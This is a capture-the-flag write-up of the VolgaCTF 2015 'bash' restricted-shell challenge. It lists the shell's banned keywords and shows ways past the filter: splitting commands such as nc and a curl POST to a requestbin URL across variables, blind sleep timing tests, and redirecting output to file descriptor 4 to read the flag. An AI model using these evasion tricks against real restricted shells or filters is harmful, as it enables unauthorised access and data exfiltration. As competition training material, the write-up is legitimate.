VolgaCTF 2015 bash

@mrexcessive WHA
& Jamie Hankins WHA
& James Nock WHA
& Robert Laverick WHA

The problem

just another super-puper secure shell
nc bash.2015.volgactf.ru 7777
tiny_bash

The solution

So... Jamie says shell restrictions include:

flag
bash
python
netcat
perl
args
pico
echo
grep
find
sudo
system
exec
regexp
tail
head
less
more

So need to know more about escaping restricted shells... researcharama...
OK so
http://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells/comment-page-1/

Also disassembly...

$ objdump -d tiny_bash >b.asm
$ gedit b.asm

Hmmmm random commands, can do a ping
but it just hangs and never returns... (well, I didn't actually wait forever)

Tried a whole bunch of commands

Tried running locally with strace wrapper - to see what it does when awk for example...
Needs glibc_2.14 doh!

Can't run locally..
aka can't be bothered to fire up another VM and break it by changing glibc

James has been finding things out

[ "$(whoami)" != 'root' ] && sleep 10

: [ "$(whoami)" != 'root' ] && sleep 10
<12:55:45> "Jpnock": vara="n"
<12:55:58> "Jpnock": varb="c 1.1.1.1 30"
<12:56:03> "Jpnock": $vara$varb

OK so setup an url catcher on requestbin, can we do a curl to requestbin... send it things..

curl -X POST -d "fizz=buzz" http://requestb.in/<private>

Nope...

Can we break a command down into bits

nc bash.2015.volgactf.ru 7777
vara='cur'
varb='l -X POST -d '
varc='"test=me" '
vard='ht'
vare='tp:/'
varf='/requestb'
varg='.in'
varh='/'
vari='1jos'
varj='upe1'
$vara$varb$varc$vard$vare$varf$varg$varh$vari$varj

That works in local shell.. but not in remote tiny_bash

BIG sigh

OK, how about blind attacks

ls /home || sleep 4                ; sleeps if /home doesn't exist
ok so... tests locally... *(have to do it this way.. with variables... because 'ls' not allowed)*
vara='l'
varb='s /'
varc='home'
vard='|| sleep 10'
$vara$varb$varc$vard
varc='homeboing'
$vara$varb$varc$vard

That just returns instantly... or at least not after 10 seconds... so... not working as expected.

Go to look at code, there is a 15 char limit to any input...
Lets redo

0123456789abcdef    ; <--- calibration
a='curl -X POST'
b=' -d "a=c" '
c='http://reque'
d='stb.in/1jos'
e='upe1'
$a$b$c$d$e

OK blind attacks again

0123456789abcdef    ; <--- calibration
a='l'
b='s /home'
c=''
d='|| sleep 4'
$a$b$c$d
a='l'
b='s /home'
c='xyz'
d='|| sleep 4'
e=''
$a$b$c$d
$a$b$e$d

Am now wiresharking it to look in case things being sent back to us after all...and hidden in escape sequences perhaps...

bash.2015.volgactf.ru.    300 IN  A   194.190.143.244
ip.addr == 194.190.143.244

More prohibited commands:

cat.flag.txt.bash.python.sh.ls.vi.netcat.nc.perl.args.awk.sed.wc.pico.ed.echo.grep.
find.bin.su.sudo.system.exec.regexp.tail.head.less.more.cut.pg.ag.txt.bash.python.
sh.ls.vi.netcat.nc.perl.args.awk.sed.wc.pico.ed.echo.grep.find.bin.su.sudo.system.exec.regexp
.tail.head.less.more.cut.pg.

Messing about
Backtick works...

sleep `id -u`

goes away forever

Then... breakthrough Robert suggests maybe try >&2 etc. to redirect pipes - as we're not seing any output, ever...

I hunt around for program with short name, not in banned list, which might output useful info in my /bin folder.. find xz

>> xz -h >&1
>> xz -h >&0
>> xz -h >&2
>> xz -h >&3
>> xz -h >&4
Usage: xz [OPTION]... [FILE]...
Compress or decompress FILEs in the .xz format.

  -z, --compress      force compression
  -d, --decompress    force decompression
  -t, --test          test compressed file integrity
  -l, --list          list information about .xz files
  -k, --keep          keep (don't delete) input files
  -f, --force         force overwrite of output file and (de)compress links
  -c, --stdout        write to standard output and don't delete input files
  -0 ... -9           compression preset; default is 6; take compressor *and*
                      decompressor memory usage into account before using 7-9!
  -e, --extreme       try to improve compression ratio by using more CPU time;
                      does not affect decompressor memory requirements
  -q, --quiet         suppress warnings; specify twice to suppress errors too
  -v, --verbose       be verbose; specify twice for even more verbose
  -h, --help          display this short help and exit
  -H, --long-help     display the long help (lists also the advanced options)
  -V, --version       display the version number and exit

With no FILE, or when FILE is -, read standard input.

Report bugs to  (in English or Finnish).
XZ Utils home page: 

Oh yeah baby... we are in !!!

>> xz -V >&4
xz (XZ Utils) 5.1.0alpha
liblzma 5.1.0alpha
>> pwd
>> pwd >&4
/home/ubuntu/server
>> dir  
>> dir >&4
this_file_contains_flag_cat_it.txt  zzz_logs.2     zzz_logs.32  zzz_logs.45
tiny_bash                zzz_logs.20  zzz_logs.33  zzz_logs.46
zzz_logs                zzz_logs.21  zzz_logs.34  zzz_logs.47
zzz_logs.1                zzz_logs.22  zzz_logs.35  zzz_logs.48
zzz_logs.10                zzz_logs.23  zzz_logs.36  zzz_logs.49
zzz_logs.11                zzz_logs.24  zzz_logs.37  zzz_logs.5
zzz_logs.12                zzz_logs.25  zzz_logs.38  zzz_logs.50
zzz_logs.13                zzz_logs.26  zzz_logs.39  zzz_logs.6
zzz_logs.14                zzz_logs.27  zzz_logs.4   zzz_logs.7
zzz_logs.15                zzz_logs.28  zzz_logs.40  zzz_logs.8
zzz_logs.16                zzz_logs.29  zzz_logs.41  zzz_logs.9
zzz_logs.17                zzz_logs.3   zzz_logs.42
zzz_logs.18                zzz_logs.30  zzz_logs.43
zzz_logs.19                zzz_logs.31  zzz_logs.44
>> xz t* >&4
>> xz -z th* >&4
>> xz -z -c th*>&4    
�7zXZ�ִF!t/��$flag{desire_is_the_key_to_motivation}��ĞǭM8=%�)j��}YZ>> >> 

Hurrah ! Thanks all ! Team effort